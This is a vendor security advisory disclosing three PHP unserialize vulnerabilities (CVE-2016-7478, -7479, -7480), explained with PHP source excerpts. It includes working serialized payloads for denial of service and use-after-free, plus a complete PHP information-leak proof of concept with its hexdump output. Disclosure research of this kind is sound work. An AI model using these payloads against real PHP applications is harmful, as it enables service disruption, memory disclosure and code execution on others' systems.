ONE STEP › AHEAD

Check Point SOFTWARE TECHNOLOGIES LTD.

CHECK POINT DISCLOSES 3 PHP 0-DAYS

TWO MONTHS AGO, CHECK POINT SECURITY RESEARCH PUBLISHED A PAPER ABOUT EXPLOITING PHP-7 UNSERIALIZE VULNERABILITIES AND CONCLUDED THERE ARE MORE 0-DAY VULNERABILITIES WAITING IN THE WINGS. TODAY, WE PROVE THIS CONJECTURE AND DISCLOSE THREE NEW VULNERABILITIES WHICH ALLOW A REMOTE ATTACKER TO CAUSE DENIAL OF SERVICE IN ALL EXISTING PHP VERSIONS AND EXECUTE ARBITRARY CODE IN VERSION 7.

Without further ado, we dive into the technical details for each of the 0-days.

I. CVE-2016-7478—REMOTE DENIAL OF SERVICE

The first vulnerability allows a remote attacker to unserialize a pathological exception object which refers to itself as the previous exception. When invoking the *__toString* method of this exception, the code iterates over the chain of exceptions. As the chain of exceptions consists of just that one object that points to itself, the iteration never terminates.

This object is created by passing the following string to *unserialize*:

```
O:9:"exception":1:{S:19:"\00Exception\00previous";r:1;}
```

This causes *unserialize* to instantiate an exception object with the *Exceptionprevious* property set to the first unserialized value—the exception object itself.

This is the relevant PHP code from the *exception::__toString* method:

From this code, the infinite loop is obvious.

```
ZEND_METHOD(exception, __toString)
{
 /* ... */
 exception = getThis();

 while (exception && Z_TYPE_P(exception) == IS_OBJECT && instanceof_function(Z
OBJCE_P(exception), zend_ce_throwable)) {

        /* ... code that fills a buffer with the exception's details ... */

        exception = GET_PROPERTY(exception, ZEND_STR_PREVIOUS);
 }

 /* ... */
}
```

It is important to note that in PHP-7 it is possible to invoke the *__toString* method on every object during unserialization. This happens due to an invocation of *zval_to_string* on the unserialized values of *DateInterval* object.

For example, if we unserialize this string:

```
O:12:"DateInterval":1:{s:4:"days";O:3:"foo":0:{}}
```

We invoke the php_date_interval_initialize_from_hash that contains the following lines:

```
#define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \
do { \
   zval *z_arg = zend_hash_str_find(myht, element, sizeof(element) - 1); \
   if (z_arg) { zend_string *str = zval_get_string(z_arg); }\
   /* ... */\
} while (0);

/* ... */


PHP_DATE_INTERVAL_READ_PROPERTY_I64("days", days);
```

These lines invoke the *zval_get_string* method on the value of *days*, which is a *foo* class in our example. If *foo's __toString* method contains some interesting code, an attacker can use it for exploitation.

Calling *__toString* during unserialization is not a vulnerability per se. However, it opens a major attack surface and we reported it as a bug to the PHP security team as well.

Exploiting this behavior enables an attacker to trigger the denial of service bug remotely via *unserialize* in PHP-7 without any other precondition.

II. CVE-2016-7479—UAF CODE EXECUTION

The second vulnerability is a little more complicated, and requires some preconditions. However, it allows a remote attacker to fully control the vulnerable process.

The root cause of this vulnerability is that the unserialized *properties* of an object are stored in the properties hash table of this object. Every unserialized value has a reference in the *var_hash* struct to support the reference feature of the serialization format.

As the hash table is dynamic, it grows when values are added. When a hash table grows, the internal array which holds its values is freed, and a bigger array, which contains a copy of the values, is allocated and used instead. The problem is that no code updates the *var_hash* when this resize happens. Thus, if an object's properties hash table is resized during the process of unserialization, the *var_hash* contains pointers to the freed memory.

There are two ways to trigger this vulnerability.

First, if the application has a method that creates a property dynamically, and this method is called during unserialization, it can trigger the bug.

For example, if the application has some code that resembles this:

```
class foo {
   function __wakeup() {
      $this->{'x'} = 1;
   }
}
```

It can trigger the bug.

The *__wakeup* method of an object is called right after unserializing the object's properties. This behavior meets our requirements. The x property is dynamically created and added to the properties hash table.

Unserializing this string:

```
O:3:"foo":8:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;}
```

allocates *foo's* properties hash table with a data array of size 8 holding the 8 integers (0-7). Then, when the *__wakeup* method is called, a new value x is inserted to the properties hash table. As the internal data array of the hash table was full before the insertion, the hash table is resized, freeing the internal data array and allocating a bigger one. Therefore, it triggers the vulnerability and causes pointers in *var_hash* to point to the freed memory.

The second way to trigger this vulnerability is more complex. It relies on an odd behavior of the *DateInterval* object. This object updates its properties hash table every time its properties are accessed (more accurately: every time its *get_properties* handler is invoked).

This is the code of the *DateInterval's get_properties handler*:

```
props = zend_std_get_properties(object);

/* ... */

#define PHP_DATE_INTERVAL_ADD_PROPERTY(n,f) \
   ZVAL_LONG(&zv, (zend_long)intervalobj->diff->f); \
   zend_hash_str_update(props, n, sizeof(n)-1, &zv);

PHP_DATE_INTERVAL_ADD_PROPERTY("y", y);
PHP_DATE_INTERVAL_ADD_PROPERTY("m", m);
PHP_DATE_INTERVAL_ADD_PROPERTY("d", d);
PHP_DATE_INTERVAL_ADD_PROPERTY("h", h);
PHP_DATE_INTERVAL_ADD_PROPERTY("i", i);
PHP_DATE_INTERVAL_ADD_PROPERTY("s", s);
PHP_DATE_INTERVAL_ADD_PROPERTY("weekday", weekday);
PHP_DATE_INTERVAL_ADD_PROPERTY("weekday_behavior", weekday_behavior);
PHP_DATE_INTERVAL_ADD_PROPERTY("first_last_day_of", first_last_day_of);
PHP_DATE_INTERVAL_ADD_PROPERTY("invert", invert);
if (intervalobj->diff->days != -99999) {
   PHP_DATE_INTERVAL_ADD_PROPERTY("days", days);
} else {
   ZVAL_FALSE(&zv);
   zend_hash_str_update(props, "days", sizeof("days")-1, &zv);
}
PHP_DATE_INTERVAL_ADD_PROPERTY("special_type", special.type);
PHP_DATE_INTERVAL_ADD_PROPERTY("special_amount", special.amount);
PHP_DATE_INTERVAL_ADD_PROPERTY("have_weekday_relative", have_weekday_relative);
PHP_DATE_INTERVAL_ADD_PROPERTY("have_special_relative", have_special_relative);
```

This code (*zend_hash_str_update*) updates the internal properties hash table with quite a few values. If these values don't exist in the hash table, they are created.

To trigger the vulnerability, all that is needed is to unserialize a *DateInterval* object without providing all the properties. Then, look for a method, that is called during unserialization and accesses the *DateInterval's* properties.

Here is an example of a vulnerable code:

```
class foo {
   public $x;
   function __wakeup() {
      var_dump($this->x);
   }
}
```

The *var_dump* built-in function internally iterates all the properties of the given object. Thus, unserializing the following string:

```
O:3:"foo":1:{s:1:"x";O:12:"DateInterval":1:{i:0;i:0;}}
```

triggers the vulnerability.

It is worth mentioning again that *__toString* method is also reachable via *unserialize* (as described in the previous vulnerability). If a *__toString* method accesses an object's properties, it can be invoked during unserialization and trigger this vulnerability.

EXPLOITATION

The code-execution bug allows an attacker to forge *zvals*, a strong primitive that can easily lead to code execution. The object forging primitives explained in the PHP 7 exploitation paper can work here as well. However, there is one non-trivial piece in the puzzle—information leak. The information leak primitive from the exploitation paper can't be used here, as it relies on the allocator freeing objects of our choice and having a pointer to a beginning of heap slot—which is not the case.

Of course, an attacker may use another bug, or hash table trickery, and disclose information about memory addresses. However, a more clever way to operate is to leak addresses using the same bug.

This bug can be used for information leak as well. An attacker can set the last *zval* in the hash table to be a string, which means the first field of the *zval* is a pointer to *zend_string*. Then, he triggers the bug, leaving the hash table data array's slot ready to be allocated. The attacker catches the freed slot using another string with a precise length—exactly the length needed for the null terminator to override the least significant byte of the pointer. Zeroing the least significant byte moves the pointer back a little bit—to a memory controlled by the attacker. The attacker can set a very large string length and read beyond that slot to the following slots, leaking the heap's content.

For example, if we execute this code:

```
<?php
class foo {
   function __wakeup() {
      $this->{'x'} = 1;
   }
}

// 1337 == 0x539
$fake_string_len_1337 = str_repeat("\x39\x05\00\00\00\00\00\00", 50);

$s =
   'a:2:{'.
      'i:0;a:5:{'.
         'i:0;s:295:"'. str_repeat("\00", 295) .'";'.
         'i:1;O:3:"foo":8:{'.
            'i:0;N;'.
            'i:1;N;'.
            'i:2;N;'.
            'i:3;N;'.
            'i:4;N;'.
            'i:5;N;'.
            'i:6;s:295:"' . substr($fake_string_len_1337, 0 , 295) . '";'.
            'i:7;s:295:"' . str_repeat("\00", 295) . '";'.
         '}'.
         'i:2;s:232:"' . str_repeat("\00", 232) . '";'. // overriding string
         'i:3;s:295:"' ."\nCan I leak it?\n" . str_repeat("\00", 279) . '";'.
         'i:4;s:295:"' . "\nYes you can!\n" . str_repeat("\00", 281) . '";'.
      '}'.
      'i:0;r:12;'. // this is our leaked string
   '}';

echo serialize(unserialize($s));
```


The result is:

```
$ php info_leak.php  | hexdump -C
00000000  61 3a 31 3a 7b 69 3a 30  3b 73 3a 31 33 33 37 3a  |a:1:{i:0;s:1337:|
00000010  22 39 05 00 00 00 00 00  00 39 05 00 00 00 00 00  |"9.......9......|
00000020  00 39 05 00 00 00 00 00  00 39 05 00 00 00 00 00  |.9.......9......|
*
000000b0  00 39 05 00 00 00 00 00  00 80 cc 85 ea 8c 7f 00  |.9..............|
000000c0  00 00 00 00 00 00 00 00  00 27 01 00 00 00 00 00  |.........'......|
000000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001f0  00 00 00 00 00 00 00 00  00 40 cb 85 ea 8c 7f 00  |.........@......|
00000200  00 00 00 00 00 00 00 00  00 27 01 00 00 00 00 00  |.........'......|
00000210  00 0a 43 61 6e 20 49 20  6c 65 61 6b 20 69 74 3f  |..Can I leak it?|
00000220  0a 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000230  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000330  00 00 00 00 00 00 00 00  00 00 cf 85 ea 8c 7f 00  |................|
00000340  00 00 00 00 00 00 00 00  00 27 01 00 00 00 00 00  |.........'......|
00000350  00 0a 59 65 73 20 79 6f  75 20 63 61 6e 21 0a 00  |..Yes you can!..|
00000360  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000470  00 00 00 00 00 00 00 00  00 c0 d2 85 ea 8c 7f 00  |................|
00000480  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000540  00 00 00 00 00 00 00 00  00 00 22 3b 7d 0a        |..........";}.|
```

That prints a couple of adjacent slots with content we specified and the free list's pointers.

III. CVE-2016-7480—USE OF UNINITIALIZED VALUE CODE EXECUTION

The third vulnerability is a classic use-of-uninitialized-value from the stack found in the custom *unserialize* function of the *SplObjectStorage* object.

Let's examine the vulnerable code:

```
SPL_METHOD(SplObjectStorage, unserialize)
{
   // ...
   zval entry, inf;

   // ...
   while (count-- > 0) {

      // ...
      if (*p == ',') { /* new version has inf */
         ++p;
         if (!php_var_unserialize(&inf, &p, s + buf_len, &var_hash)) {
            zval_ptr_dtor(&entry);
            goto outexcept;
         }
      } else {
         ZVAL_UNDEF(&inf);
      }

      //...
```

We see that the *inf* variable is defined on the stack, but not initialized. Then, under certain (trivial) conditions, a pointer to this variable is passed to *php_var_unserialize* (expecting the function fills this struct).

php_var_unserialize ultimately invokes *php_var_unserialize_internal* with *rval* argument holding the pointer to *inf*. If the parsed value is a reference (i.e. **p == 'R'*), the following code is executed:

```
"R:" iv ";"    {
   //...
   zval_ptr_dtor(rval);
   //...
```

So, if an attacker can manipulate *inf* to hold a reference-counted *zval*, the attacker can free it during unserialization. Moreover, since the *zval_ptr_dtor* decreases the *refcount* field of the zval, it might be abused to decrease some interesting values such as pointers.

From past experience, we know these primitives are more than sufficient to get to arbitrary code execution.

